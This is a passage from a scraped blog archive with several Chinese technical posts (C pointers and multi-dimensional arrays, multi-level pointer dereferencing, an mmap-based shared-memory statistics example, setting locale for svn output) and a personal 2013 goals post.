维度罢了。《C专家编程》中有一种理解方法：将数组看成是一种向量，也就是某种对象的一维数组；当其元素为其他数组时，这个向量也就是我们所说的 多维数组。\n我们来结合例子理解一下多维数组，从低维到高维度逐步理解：\n一维数组 char a[2];\n这是一个向量，拥有两个元素，向量中的元素类型为char。可以理解为：\nchar a[2]; \u0026lt;=\u0026gt; (char) a[2];\n二维数组 char a[2][3];\n这是一个向量，拥有两个元素，向量中的元素类型为char[3]。可以理解为：\nchar a[2][3]; \u0026lt;=\u0026gt; (char[3]) a[2];\n三维数组 char a[2][3][5];\n这是一个向量，拥有两个元素，向量中的元素类型为char[3][5]。可以理解为：\nchar a[2][3][5]; \u0026lt;=\u0026gt; (char[3][5]) a[2];\nN维数组 char a[i][j][k]…[z];\n这是一个向量，拥有i个元素，向量中的元素类型为char[j][k]…[z]。可以理解为：\nchar a[i][j][k]…[z]; \u0026lt;=\u0026gt; (char [j][k]…[z]) a[i];\n二、与数组类型兼容****的指针类型\n假设有下面这样一个数组：\nchar a[2][3];\n我要声明一个可以指向该数组的指针变量，这个声明该如何书写呢？是 char *p[3]还是char (*p)[3]？按照上面对多维数组的理解:\nchar a[2][3]; \u0026lt;=\u0026gt; char[3] a[2];\n这样我们只需构造出一个指向char[3]类型的指针即可，显然这样的指针声明是(char[3]) *p。哦，不对，这样的声明C编译器是不认的，乾坤大挪移！把(char[3])从中间劈开 =\u0026gt; char *p[3]，这样对么？这个是指向数组a的指针么？怎么越看越像是一个指针数组阿，char *p[3]\u0026lt;=\u0026gt; (char*) p[3]。哇，真的弄错了，改！ 对了，刚才忘记了(char[3]) *p中还有一对括号呢，给*p穿上，=\u0026gt; char (*p)[3]。这回没错了，就是它了。\nchar a[2][3];\nchar (*p)[3];\np = a; /* 没有什么比这个还正确的了 */\n再来一个三维数组的例子，这次简单直白点。\nchar a[2][3][5];\n变形！=\u0026gt; (char[3][5]) a[2];\n指针有了 =\u0026gt; (char[3][5]) *p =\u0026gt; char (*p)[3][5];\n有了上面的例子分析，对于更高维度数组，你还不会声明其兼容的指针类型吗？\n理解了多维数组兼容的指针变量的类型声明，那么将多维数组与函数结合在一起使用时，你就会得心应手了，在函数内部你看到的、能用到的就是多维数组 对应的兼容指针类型变量。\n三、多维数组中的“隐式数组名”\n在很多C语言书中，我们会经常看到这样的描述：对于多维数组char a[m][n][h]，其中的某个元素a[i][j][k] \u0026lt;=\u0026gt; *(*(*(a + i) + j) + k)。这种等价形式是如何形成的呢？\n第零小节的描述告诉我们：数组名是具有指针属性的，除了标准的下标引用方式外，还可以以指针的方式做指针运算以及访问元素，这就是 *(*(*(a + i) + j) + k)是合法的原因。\n接下来我们来对*(*(*(a + i) + j) + k)做一次分解分析。鉴于一般形式不易理解和输出结果，我们用一个具体的例子来说明。\nchar a[2][3][5] = {\n{\n{1, 2, 3, 4, 5},\n{6, 7, 8, 9, 10},\n{11, 12, 13, 14, 15},\n},\n{\n{21, 22, 23, 24, 25},\n{26, 27, 28, 29, 30},\n{31, 32, 33, 34, 35},\n}\n};\nchar (*p)[3][5] = a;\nprintf(\u0026ldquo;a[1][2][3] = %d\\n”, a[1][2][3]);\nprintf(\u0026ldquo;a addr = %p\\n\u0026rdquo;, a);\nprintf(\u0026ldquo;a + 1 = %p\\n\u0026rdquo;, a + 1);\nprintf(\u0026rdquo;*(a + 1) = %p\\n\u0026quot;, *(a + 1));\nprintf(\u0026quot;*(a + 1) + 2 = %p\\n\u0026quot;, *(a + 1) + 2);\nprintf(\u0026quot;*(*(a + 1) + 2) = %p\\n\u0026quot;, *(*(a + 1) + 2));\nprintf(\u0026quot;*(*(a + 1) + 2) + 3 = %p\\n\u0026quot;, *(*(a + 1) + 2) + 3);\nprintf(\u0026quot;*(*(*(a + 1) + 2) + 3) = %d\\n\u0026quot;, *(*(*(a + 1) + 2) + 3));\n编译这个程序，执行输出：\na[1][2][3] = 34\na addr = 0xbfa0893e\na + 1 = 0xbfa0894d\n*(a + 1) = 0xbfa0894d\n*(a + 1) + 2 = 0xbfa08957\n*(*(a + 1) + 2) = 0xbfa08957\n*(*(a + 1) + 2) + 3 = 0xbfa0895a\n*(*(*(a + 1) + 2) + 3) = 34\n我们以*(*(*(a + 1) + 2) + 3)为例，再根据上面的输出结果，逐步拆解分析。\na + 1 a的等价指针类型是char (*p)[3][5]; 因此a + 1这个指针运算的结果相当于在数组a的起始地址开始向后移动sizeof(char [3][5])个字节。从输出结果来看，a + 1 = 0xbfa0894d = 0xbfa0893e + 15 = a addr +15也印证了这点。\n*(a + 1) 通常指针的解引用操作会得到指针所指内存地址所在存储单元中存储的值。但上面的输出结果让我们产生疑问：\n*(a + 1) = 0xbfa0894d == a + 1\n在若干年前我的文章《挖掘一下C语言中的多维数组》中曾经探讨过这个问题，当时针对这个问题并未给出答案。这次对此问题我又有了新的认识。还记得我们在开篇中对数组名做的操作以及输出结果么：\nchar a[5];\na = 0xbfb146c0\n\u0026amp;a = 0xbfb146c0\n*a = 0xbfb146c0\n也是a == *a。而这里同样是*(a + 1) == a + 1。通过这个对比我们得到一个大胆的推论：a + 1也可以看作是一个“数组名”，这是一个隐式数组名。只有这个解释看起来是合理的。\n*(a + 1) + 2 a + 1这个隐式数组名对应的指针类型是char (*p)[5]，因此 *(a+1) +2相当于从a + 1地址的开始再向后移动10(2 x 5)个字节，也就是0xbfa08957，输出结果也印证了这点。\n*(*(a + 1) + 2) 我们又遇到了一个隐式数组名。*(*(a + 1) + 2) = 0xbfa08957 == *(a + 1) + 2。\n*(*(a + 1) + 2) + 3 *(a + 1) + 2这个隐式数组名对应的指针类型是char *p，因此*(*(a + 1) + 2) + 3相当于从*(a + 1) + 2开始再向后移动3个字节，也就是0xbfa0895a，注意这个地址所在单元上存储的是一个char值。\n*(*(*(a + 1) + 2) + 3) 如果将*(*(a + 1) + 2) + 3赋值给char *p，那么*(*(*(a + 1) + 2) + 3)就相当于*p，这个再简单不过了，34就是这个单元存储的char值。\n","permalink":"https://tonybai.com/2013/03/28/pointer-and-multi-dimension-array-in-c/","summary":"\u003cp\u003e上一篇文章中对\u003ca href=\"http://tonybai.com/2013/03/23/multi-dimension-pointer-in-c/\"\u003e多级指针\u003c/a\u003e做了简要分析，其实只有当指针与多维数组以及函数联合在一起使用时，麻烦才算真正到来。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e零、数组****与数组名\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://en.wikipedia.org/wiki/C_(programming_language)\"\u003eC语言\u003c/a\u003e中的数组的一般声明形式如下：\u003c/p\u003e\n\u003cp\u003eT arr_name[n]; /* T为类型，n为数组元素个数 */\u003c/p\u003e\n\u003cp\u003e从\u003cstrong\u003e内存布局\u003c/strong\u003e角度来说，数组T arr_name[n]就是内存中连续的内存单元，每个内存单元的长度为sizeof(T)，数组的起始内存单元地址为arr_name所在的内存地址， 同时也是数组第一个元素arr_name[0]的内存地址。\u003c/p\u003e","title":"简析指针与多维数组"},{"content":"指针是C语言中公认的最为强大的语法要素，但同时也是最难理解的语法要素，它曾给程序员带来了无数麻烦和痛苦，以致于在C语言之后诞生的很多新兴 语言中我们再也难觅指针的身影了。\n下面是一个最简单的C语言指针的例子：\nint a = 5;\nint *p = \u0026amp;a;\n其中p就是一个指针变量。如果C语言中仅仅存在这类指针，那显然指针不会形成“大患”。经常地我们会在代码中看到下面的情形：\nint **q = \u0026amp;p;\nint ***z = \u0026amp;q;\n随着符号\u0026rsquo;*\u0026lsquo;个数的增加，C代码的理解复杂度似乎也曾指数级别增长似的。像q、z这样的指向指针的指针(pointer to pointer to …)变量，中文俗称“多级指针”。不过在一些正式的英文C语言教程中，我没能找到其正式的英文说法。在老外的这些书 中，它们多被称为pointer to pointer (to pointer to ….)。多级指针的确是很难理解的，特别当与函数、数组等联合在一起使用时。今天在写代码时恰好撞见了多级指针，于是就打算在这里说说对多级指针以及 其解引用的一些粗浅理解。\n指针究竟是啥？\n和普通变量想比，指针变量到底有何不同，究竟何为指针(变量)？我们来看一个例子：\nint a = 5;\nint *p = \u0026amp;a;\nprintf(\u0026ldquo;a addr = [%p]\\n\u0026rdquo;, \u0026amp;a);\nprintf(\u0026ldquo;a content = [%d]\\n\u0026rdquo;, a);\nprintf(\u0026ldquo;p addr = [%p]\\n\u0026rdquo;, \u0026amp;p);\nprintf(\u0026ldquo;p content = [%p]\\n\u0026rdquo;, p);\nprintf(\u0026quot;*p = [%d]\\n\u0026quot;, *p);\n*p = 6;\nprintf(\u0026ldquo;after modify, *p = [%d]\\n\u0026rdquo;, *p);\n编译这个小程序并执行，输出结果如下：\na addr = [0xbfb609b8]\na content = [5]\np addr = [0xbfb609bc]\np content = [0xbfb609b8]\n*p = [5]\nafter modify, *p = [6]\n通过两个变量的addr，我们可以看到a、p两个变量都是在栈上分配的变量。不同的是普通整型变量a对应的内存单元(a content)中存储的值为整型值5，是一个数值；而变量p对应的内存单元(p content)中存储的值为0xbfb609b8，是变量a的地址，用栈变量简图可以表示如下：\n| … |\n|0xbfb609b8| \u0026lt;- \u0026amp;p [0xbfb609bc]\n|5 | \u0026lt;- \u0026amp;a [0xbfb609b8]\n| … |\n可以看出指针变量的第一个特点是它是一种以存储其他变量地址为目的的变量。一个T类型的指针变量(一级指针)就是一个存储了某T类 型值变量的地址的内存单元。\n例子中最后那个输出是对指针的解引用(dereference)操作，指针的解引用操作的结果是得到指针所指的地址上的变量的值。在这个例子中指 针所指到内存地址为0xbfb609b8，也就是a变量的位置，因此*p的结果为变量a的值，即5。因此我们得到指针变量的第二个特点： 通过对指针的解引用，我们可以获得其指向的内存单元所表示的值。\n在例子中，我们看到了这行代码 *p = 6，并发现执行这行代码后，a变量的值变为了6。这就是指针的第三个特点：当解引用作左值时，它可以修改其所指内存地址上变量的值。a被修改后的栈变量分布简图：\n| … |\n|0xbfb609b8| \u0026lt;- \u0026amp;p [0xbfb609bc]\n|6 | \u0026lt;- \u0026amp;a [0xbfb609b8]\n| … |\n二级指针\n我们再来分析一下下面的示例程序的输出结果。\nint a = 5;\nint b = 13;\nint *p = \u0026amp;a;\nprintf(\u0026quot;*p = %d\\n\u0026quot;, *p); int **q = \u0026amp;p;\n(*q) = \u0026amp;b;\nprintf(\u0026quot;*p = %d\\n\u0026quot;, *p);\n根据前面的分析，第一次*p输出时p指向a的地址，对p解引用的结果就是a所在内存单元的值，即5。接下来的代码分析起来就需要谨慎一些了。我们先来看看 int **q = \u0026amp;p这行代码。根据对一级指针的分析，我们可以将int **q理解成(int*) *q，这样q指向的地址就是一个int*型的变量的内存地址，该地址上的值本身也是一个地址值。在这个例子中，(int*) *q = \u0026amp;p; 也就是说q中存储的值就是变量p的地址。通过*q我们可以得到p中存储的地址值(\u0026amp;a)；而若*q作为左值，显然就是修改p中存储的地址值喽，因 此(*q) = \u0026amp;b则相当于p = \u0026amp;b，则第二个*p的输出结果为变量b所在内存单元的值，即13。\n在修改*q前，栈上内存布局：\n| … |\n|0xbf830ec8| \u0026lt;- \u0026amp;q [0xbf830ecc]\n|0xbf830ec0| \u0026lt;- \u0026amp;p [0xbf830ec8]\n|11 | \u0026lt;- \u0026amp;b [0xbf830ec4]\n|5 | \u0026lt;- \u0026amp;a [0xbf830ec0]\n| … |\n在修改*q的值后，栈上内存布局：\n| … |\n|0xbf830ec8| \u0026lt;- \u0026amp;q [0xbf830ecc]\n|0xbf830ec4| \u0026lt;- \u0026amp;p [0xbf830ec8] /* 通过*q修改 */\n|11 | \u0026lt;- \u0026amp;b [0xbf830ec4]\n|5 | \u0026lt;- \u0026amp;a [0xbf830ec0]\n| … |\n再来分析一下**q的值又是啥呢？有了前面的铺垫：*q \u0026lt;=\u0026gt; p，那**q \u0026lt;=\u0026gt; *(*q) \u0026lt;=\u0026gt; *p，其值自然就明了了，就是b的值。\n多级指针\n有了一级指针和二级指针的分析打基础，当我们遇到更多*的时候，只是遵循这个方法耐心分析就是了，比如：\nint a = 5;\nint *p = \u0026amp;a;\nint **q = \u0026amp;p;\nint ***z = \u0026amp;q;\n我们可以对比着前面一、二级指针的理解方法来理解这三个指针p、q和z：\n– 一级指针p自身存储的是整型值变量a的地址，对一级指针解引用(*p)得到的是值变量a的值；*p作左值，修改的是变量a的值；\n– 二级指针q自身存储的是一级整型指针变量p的地址，对二级指针解引用(*q)得到的是一级指针p自身存储的值(a的地址:\u0026amp;a)；*p作左值时，修改的一级指针p的指向；\n– 三级指针z自身存储的是二级整型指针变量q的地址，对三级指针解引用(*z)得到的是二级指针q自身存储的值，也就是p的地址(\u0026amp;p)；对*z再 解引用(**z)，相当于得到p自身存储的值，也就是a的地址\u0026amp;a；对**z再解引用，即***z，相当于得到a自身存储的变量值，即5。用一个 等价式可以更形象的表达：***z \u0026lt;=\u0026gt; **(*z) \u0026lt;=\u0026gt; **q \u0026lt;=\u0026gt; *(*q) \u0026lt;=\u0026gt; *p \u0026lt;=\u0026gt; 5。\n– 更高级别的指针可依次类推。不过如果再对***z解引用，即****z，那则相当于对整型数5（非地址）进行解引用，会出现编译错误： 一元 ‘*’参数类型无效(有‘int’)。\n","permalink":"https://tonybai.com/2013/03/23/multi-dimension-pointer-in-c/","summary":"\u003cp\u003e指针是\u003ca href=\"http://en.wikipedia.org/wiki/C_(programming_language)\"\u003eC语言\u003c/a\u003e中公认的最为强大的语法要素，但同时也是最难理解的语法要素，它曾给程序员带来了无数麻烦和痛苦，以致于在C语言之后诞生的很多新兴 语言中我们再也难觅指针的身影了。\u003c/p\u003e\n\u003cp\u003e下面是一个最简单的C语言指针的例子：\u003cbr\u003e\nint a = 5;\u003cbr\u003e\nint *p = \u0026amp;a;\u003c/p\u003e\n\u003cp\u003e其中p就是一个指针变量。如果C语言中仅仅存在这类指针，那显然指针不会形成“大患”。经常地我们会在代码中看到下面的情形：\u003c/p\u003e","title":"简析多级指针解引用"},{"content":"这是我无意中想到的一个方法，估计这个方法已经不是什么新鲜的东西了，很可能在类似的问题场景中早已经被使用了。不过这里还是要说说我的思维过程。\n近期在学习一些Linux性能查看和分析方面的工具，比如top、iostat、vmstat以及sar等。在学习过程中我发现这些工具有个共同的特点，那就是她们采集的Linux运行数据都是从/proc下的文件中实时获取并计算而得出的。众所周知，/proc是Linux内核维护的一个虚拟文件系统，他允许用户在Linux运行时查看内核运行数据（用户可以像查看普通文件一样查看/proc下的目录和文件），甚至是运行时实时改变内核设置。Linux实现/proc的细节不是这里要关注的，吸引我的是Linux的这种提取运行数据的设计。这个设计将Linux运行数据的产生实现细节与第三方性能采集工具间的耦合最大化地解开，这样一来/proc就像是一种Linux的基础服务，为用户提供一种实时的运行数据信息。而用户侧的运行数据查看工具也可以根据用户的需求自由定制，因此有了top、iostat、vmstat、iotop、sar等关注点不同的工具。\n好了，说完/proc后，再来说说我们的产品。用户长期以来一直在抱怨我们的产品监控和维护方面手段太过单一，产品就像是一个黑盒，没有提供一种自我运行观察的能力，让客户看不清阿看不清，用户无法实时获取当前某个节点上的业务运行状况，无法采集到这些业务运行的实时基础数据，这的确是我们长期以来的短板（以前这块受重视度也的确不足）。虽然这两年我们在改善运维手段方面的投入已经加大，并收到一些显著的效果，但方案都是集中的，且相对重量级的，不那么敏捷灵活 – 在单节点上依旧无法简单地获取该节点的运行数据。\n结合/proc的设计以及我们所遇到的问题，我有了一个大胆的想法：是否可以给我们的业务系统也加上一种类似Linux /proc这样的可提供基础运行数据的服务能力呢？于是就有了下面的解决方法。\nLinux /proc下面的数据文件是Linux Kernel维护的，并允许用户层的进程实时查看和配置数据。而对于我们的产品而言，提供基础数据的产品实例与提取基础数据的第三方程序是两个独立的用户level的进程，显然我们需要找到一种让这两个进程实时通信、低耦合的且性能代价极低的方法。\n我首先想到的是文件，这似乎和/proc的方式一样。你查看一下sysstat源码会发现，像iostat、sar等工具都是用fopen以\u0026quot;r\u0026quot;方式打开/proc/下的各种stat文件，匹配和读取指标项后再统计的。但在User层，两个无亲缘关系进程共同操作一个文件 – 一个读，一个写，the file position indicator是很难控制的，可能涉及文件锁(flock/fcntl)，还要考虑使用的库函数是否是带缓冲的（fread/fgets都是带缓冲 的，不能用），写端需要及时fsync/fflush。总而言之，这么做是甚为自讨没趣的，会给两个程序的实现都带来很大的复杂性以及各种“坑”的。\n那用named fifo如何呢？一但用named fifo，这两个进程就会产生启动依赖，如果一端没有启动，另一端会一直阻塞；而且通过fifo传递多种业务数据还可能存在打包和解包的过程，实现起来复杂的很。这显然是耦合十分严重的糟糕方案。\n两个进程既要有共同的识别目标，就像/proc/cpuinfo这样的已知路径，一个进程还要能及时地得到另外一个进程运行时的数据，我们不妨尝试一下内存文件映射这个方案：运行数据提供的进程映射一个已知目标文件，比如perf/xxstat，然后在映射后的地址上创建和更新指标数据。比如我们建立一个整型数组，数组的每个元素都代表一种运行指标；而运行数据提取进程同样映射该文件，并在映射后获得数组中的各个元素值。下面是一个示例程序：\n/* producer */\nint\nmain()\n{\nFILE *fp = NULL;\nerrno = 0;\nfp = fopen(STAT_FILE, \u0026ldquo;w+\u0026rdquo;);\nif (fp == NULL) {\nprintf(\u0026ldquo;can not create stat file , err = %d\\n\u0026rdquo;, errno);\nreturn -1;\n}\nerrno = 0;\nlong size = sysconf(_SC_PAGESIZE);\nif (ftruncate(fileno(fp), size) != 0) {\nprintf(\u0026ldquo;can not set stat file size, err = %d\\n\u0026rdquo;, errno);\nfclose(fp);\nreturn -1;\n}\nerrno = 0;\nchar *p = NULL;\np = mmap(NULL, size, PROT_WRITE|PROT_READ, MAP_SHARED, fileno(fp), 0);\nif (p == MAP_FAILED) {\nprintf(\u0026ldquo;can not mmap file, error = %d\\n\u0026rdquo;, errno);\nfclose(fp);\nreturn -1;\n}\nerrno = 0;\nif (fclose(fp) != 0) {\nprintf(\u0026ldquo;can not close file, error = %d\\n\u0026rdquo;, errno);\nreturn -1;\n}\n/* round up to 8 */\nwhile((int)p % 8 != 0) {\np++;\n}\nlong long *q = (long long*)p;\nq[0] = 1;\nq[1] = 1000;\nq[2] = 10000;\nq[3] = 100000;\nwhile(1) {\nq[0] += 1;\nq[1] += 10;\nq[2] += 100;\nq[3] += 1000;\nusleep(200);\n}\nreturn 0;\n}\n该producer程序首先尝试以\u0026quot;w+\u0026ldquo;方式打开xxstat文件，并设置文件的大小，然后调用mmap做内存文件映射，理论上来说mmap成功时返回的地址一定是按该平台下最严格内存系数对齐的地址，但这里为了安全起见，又做了一次内存地址的圆整。producer以映射的地址为首地址，建立了一个包含四个元素的、每个元素大小为8字节的整型数组，其中每个元素模拟一个运行指标。在while(1)循环中，producer模拟更新这四个指标数据。\n下面是提取producer运行数据的例子程序，其映射过程与producer类似，这里就不贴出完整代码了，完整代码可在这里下载。\n/* reader.c */\nint\nmain()\n{\nFILE *fp = NULL;\n… …\nchar *p = NULL;\np = mmap(NULL, size, PROT_READ,\nMAP_SHARED, fileno(fp), 0);\nif (p == MAP_FAILED) {\nprintf(\u0026ldquo;can not mmap file, error = %d\\n\u0026rdquo;, errno);\nfclose(fp);\nreturn -1;\n}\n… …\nlong long *q = (long long*)p;\nwhile(1) {\nprintf(\u0026quot;%lld\\t\\t%lld\\t\\t%lld\\t\\t%lld\\n\u0026rdquo;, q[0], q[1], q[2], q[3]);\nsleep(1);\n}\nreturn 0;\n}\n在producer执行一段时间后，我们可以用reader去提取producer的实时运行数据了。\n$ reader\n2583 26820 268200 2682000\n5793 58920 589200 5892000\n9142 92410 924100 9241000\n12431 125300 1253000 12530000\n15586 156850 1568500 15685000\n… …\n需要注意的是两个进程映射的虽然是同一个文件，但各自进程空间映射的地址是不同的。如果在指标里存储地址数据，那另外一个进程在访问该地址时必然会出现问题。\n在这个方案中，由于两个进程是读写同一块内存(虽然在各自进程空间的地址是不同的），因此数据是实时的。但由于两个进程间并没有任何同步机制，可能会产生误差，就好比一个进程中的两个线程对进程中某块地址空间一读一写这种情况一样。不过对于我们这种场景，这个问题是一般是可以被容忍和接受的，毕竟我们通过运行数据只是想了解一种运行趋势而已。如果producer中存在多个有亲缘关系的子进程或多线程要同时更新基础运行数据，那势必是要用锁或其他原子操作做数据操作的同步的。另外我们用的是内存映射具名的文件，OS会定期将数据刷到磁盘上，不过这个消耗对于小文件来说，对整体性能影响可忽略不计。\n一旦业务系统具备了提供基础运行数据的能力，我们就可以根据我们的需求按照数据的格式打造我们所需要的各类数据提取和分析工具了。如果需要长期记录业务系统的运行情况，我们也可以实现类似sar这样的工具，以在后台定期对系统的运行数据进行记录，并提供历史查询等相关功能。\n这种基于内存映射文件的方法还有一个好处，那就是我们可以用任何支持mmap调用的编程语言来实现数据提取工具，而不一定非得用C/C++这种原生适配Linux API的语言。\n如果你觉得这种方案可行，那后续的重点就是基础运行数据的设计问题了。罗马不是一天建成的，/proc下的基础数据也不是一天就设计到位的。在基础数据设计这方面也是需要有很多考虑的，比如是文本还是二进制，用什么类型数据，还可能需要考虑一些数据对齐问题等。当然这就不是本文的重点了，就不细说了。\n","permalink":"https://tonybai.com/2013/03/18/sys-running-data-extraction-method-using-mmap/","summary":"\u003cp\u003e这是我无意中想到的一个方法，估计这个方法已经不是什么新鲜的东西了，很可能在类似的问题场景中早已经被使用了。不过这里还是要说说我的思维过程。\u003c/p\u003e\n\u003cp\u003e近期在学习一些\u003ca href=\"http://www.kernel.org/\"\u003eLinux\u003c/a\u003e性能查看和分析方面的工具，比如\u003ca href=\"http://tonybai.com/2013/03/02/deep-into-top/\"\u003etop\u003c/a\u003e、iostat、vmstat以及sar等。在学习过程中我发现这些工具有个共同的特点，那就是她们采集的Linux运行数据都是从/proc下的文件中实时获取并计算而得出的。众所周知，/proc是\u003ca href=\"http://tonybai.com/2012/03/15/linux-kernel-hacking-series-kernel-config-compile-and-install/\"\u003eLinux内核\u003c/a\u003e维护的一个虚拟文件系统，他允许用户在Linux运行时查看内核运行数据（用户可以像查看普通文件一样查看/proc下的目录和文件），甚至是运行时实时改变内核设置。Linux实现/proc的细节不是这里要关注的，吸引我的是Linux的这种提取运行数据的设计。这个设计将Linux运行数据的产生实现细节与第三方性能采集工具间的耦合最大化地解开，这样一来/proc就像是一种Linux的基础服务，为用户提供一种实时的运行数据信息。而用户侧的运行数据查看工具也可以根据用户的需求自由定制，因此有了top、iostat、vmstat、iotop、sar等关注点不同的工具。\u003c/p\u003e","title":"一种基于内存映射文件的系统运行数据提取方法"},{"content":"今天一位网上的朋友在使用reviewboard时遇到了问题，我们在评论中探讨了一下。他的问题目前已经定位，大致是这样的：他在Windows上用svn diff生成的patch文件在提交给reviewboard时出错，但在linux上生成的patch文件是没有问题的。后来他发现这两个patch文件内容稍有区别：Windows上的patch文件中的diff结果包含中文，比如“版本 10”；而在linux下生成的那份patch文件中，\u0026ldquo;版本 10\u0026quot;变成了\u0026quot;revision 10\u0026rdquo;。reviewboard拒绝了带中文的那份patch，估计是reviewboard的字符编码设置让其无法识别windows下的那个字符集。\n多数情况下，我们根本无需关心svn命令输出中到底是英文还是中文。subversion对国际化支持到很好，它会根据自己所在环境下的区域和语言设置来选择到底输出哪种文字，对不同地区说不同语言的程序员来说，这绝对是一个好事。\n但问题毕竟是出现了。我们该如何解决呢？我们该如何选择svn输出的语言呢？我不用Windows，所以这里我说说Linux下的设置方法，这也是今天在思考那位朋友的问题时才找到的方法。\n方法的关键就在于前面说过的Subversion会自动检测你的区域和语言环境设置。以我的Ubuntu 12.04LTS为例，执行locale命令，可以看到以下输出：\nLANG=zh_CN.UTF-8\nLANGUAGE=zh_CN:zh\nLC_CTYPE=\u0026ldquo;zh_CN.UTF-8\u0026rdquo;\nLC_NUMERIC=\u0026ldquo;zh_CN.UTF-8\u0026rdquo;\nLC_TIME=\u0026ldquo;zh_CN.UTF-8\u0026rdquo;\nLC_COLLATE=\u0026ldquo;zh_CN.UTF-8\u0026rdquo;\nLC_MONETARY=\u0026ldquo;zh_CN.UTF-8\u0026rdquo;\nLC_MESSAGES=\u0026ldquo;zh_CN.UTF-8\u0026rdquo;\nLC_PAPER=\u0026ldquo;zh_CN.UTF-8\u0026rdquo;\nLC_NAME=\u0026ldquo;zh_CN.UTF-8\u0026rdquo;\nLC_ADDRESS=\u0026ldquo;zh_CN.UTF-8\u0026rdquo;\nLC_TELEPHONE=\u0026ldquo;zh_CN.UTF-8\u0026rdquo;\nLC_MEASUREMENT=\u0026ldquo;zh_CN.UTF-8\u0026rdquo;\nLC_IDENTIFICATION=\u0026ldquo;zh_CN.UTF-8\u0026rdquo;\nLC_ALL=\n也就是说默认情况下，我的区域是CN，语言是zh。在这种环境下svn命令的输出都是包含中文的，比如下面这段输出：\n路径: .\nURL: https://lcut.googlecode.com/svn/trunk\n版本库根: https://lcut.googlecode.com/svn\n版本库 UUID: 22405a7c-d843-be82-cc3b-46f1d7cb9705\n版本: 57\n节点种类: 目录\n调度: 正常\n最后修改的作者: bigwhite.cn@gmail.com\n最后修改的版本: 57\n我尝试修改locale。先将LC_ALL修改为en_US.UTF-8（通过locale -a你可以查看系统支持的locale列表，从中能看到en_US.utf8）。修改后(export LC_ALL=en_US.utf8)，执行locale，发现除了LANGUAGE和LANG还是原值外，其余变量都已经改为en_US.utf8了。不过svn info的输出结果依旧包含中文。\n看来LANGUAGE或LANG两个变量中的一个会影响到svn的输出结果。先修改LANG为en_US.utf8，执行svn info，发现结果依旧包含中文。再试试修改LANGUAGE，export LANGUAGE=en_US.en（注意不是en_US.utf8，LANGUAGE变量的值与其他的变量稍有不同）。再执行svn info，这回终于等到英文结果输出了：\nPath: .\nURL: https://lcut.googlecode.com/svn/trunk\nRepository Root: https://lcut.googlecode.com/svn\nRepository UUID: 22405a7c-d843-be82-cc3b-46f1d7cb9705\nRevision: 57\nNode Kind: directory\nSchedule: normal\nLast Changed Author: bigwhite.cn@gmail.com\nLast Changed Rev: 57\n目前还不清楚这招在Windows下是否也生效，记得Windows上也有设置环境变量的地方。\n","permalink":"https://tonybai.com/2013/03/15/choose-lang-for-svn-cmd-output/","summary":"\u003cp\u003e今天一位网上的朋友在使用\u003ca href=\"http://tonybai.com/2009/09/19/review-board-installation-and-configuration/\"\u003ereviewboard\u003c/a\u003e时遇到了问题，我们在评论中探讨了一下。他的问题目前已经定位，大致是这样的：他在Windows上用svn diff生成的patch文件在提交给\u003ca href=\"http://www.reviewboard.org/\"\u003ereviewboard\u003c/a\u003e时出错，但在linux上生成的patch文件是没有问题的。后来他发现这两个patch文件内容稍有区别：Windows上的patch文件中的diff结果包含中文，比如“版本 10”；而在linux下生成的那份patch文件中，\u0026ldquo;版本 10\u0026quot;变成了\u0026quot;revision 10\u0026rdquo;。reviewboard拒绝了带中文的那份patch，估计是reviewboard的字符编码设置让其无法识别windows下的那个字符集。\u003c/p\u003e","title":"SVN命令输出结果的语言选择"},{"content":"眼看2013年已经过去1/6了，这个谋划显然有些晚了。之所以晚，根本原因还是之前有些很多事情没有想清楚，即便是现在可能依旧比较朦胧。鉴于去年的目标执行情况不甚理想，尤其是工作目标方面，因此今年在谋划策略方面变得更加务实和收敛，期望能说到做到或做的尽可能的多。\n一、个人目标\n* 鉴于去年的执行情况，今年将blog定在80篇（大约每5天一篇）应该问题不大，毕竟blog已经成为我生活的一个重要组成部分了。\n* 阅读是必不可少的。今年计划将读书目标定在40本（大约每9天一本）。去年的读书效率下降许多，感觉更多是因为自己变得懒散了。所以今年除了“扫库存”之外，还增加了一个改善措施：从省图书馆借书读。俗话说：书非借而不能读也^_^。借书读，一方面降低书架上的书增长的速度，减少了开支；另一方面还可能提高读书效率，借的书毕竟是要还的么^_^。昨天在整理果果的书时发现我的书架已经接近满员了，所以以后非经典书/非紧急书就不打算买了，不知道能否借此戒掉“买书瘾”，想必到时侯还是会纠结一番的^_^。最后在读书方面还是要给自己设置一条主线的，尽量围绕自己的目标达成去选择读哪些而不读哪些，读自己所需要的，按照自己的思路去读，千万不要人读己亦读。\n* 学习新编程语言方面。每年一门新语言，但今年目标不甚明确。对函数式语言有些担心，前途似乎没有看起来的那么美，可预见到情况是将长期持续在小众领域徘徊。今年的策略是看缘份了^_^。在日常工作中，Python这门语言的使用是愈来愈多了，今年在Python方面肯定是要继续深入研究一点点的。\n* 开源方面。我将继续和同事一起推进buildc的演进，至少会完成已经策划已久的0.3.0版本的设计与实现。在开源方面目前尚未参与过其他人发起的项目，这块更多还是自己找点子，期望今年能有一些新的想法。\n* 个人健康方面。前些日子得了肺部感染，连续挂了近两周点滴才控制住病情，钱没少花，罪没少遭，还好目前看起来像是痊愈了。恰因为此，今年才把这个单独拿出来作为个人目标的一部分。事后分析，之所以被细菌感染，更多是因为自己的免疫力太低了。事实上也是这样的：去年一整年都没有什么锻炼身体的活动，免疫力不低就怪了。所以今年打算把晨跑提上日程，记得11年是晨跑坚持时间最长的一年，每天跑上3km，各方面的感觉的确是非常好的。\n* 关注代码。和2012相比，今年期望能抽出更多的时间和精力编写自己的代码、阅读和评审其他人的代码。对于程序员出身的我而言，代码的魔力是我无论如何都无法抗拒的。\n* 其他能力提升方面。今年重点想提升一下当众Speaking能力。目前当众讲话是没啥问题的，但如何当众把话讲的更好更具吸引力，这方面还需要专门的学习和训练。\n二、工作目标\n不得不承认去年工作方面的失意让我对工作的热情有所衰退，所以今年在工作目标方面尽量收敛一些，也不想在这里把一些具体目标展开说明了，唯一所求的就是踏踏实实把重点任务做好。另外任何事情做久了，都想期待有一些变化。\n三、家庭目标\n虽然去年的家庭目标完成的十分不错，不过有了去年的家庭目标做铺垫，今年的目标达成难度加大了许多，压力山大啊。这里先列出一些简单的：\n* 更新数码装备：本本、手机、相机、平板、电纸书等。\n* 给果果转到规模较大的幼儿园，接受更为规范的教育。\n* 常回父母家看看。\n* 家庭成员省内、国内、境外游至少各一次。\n…. 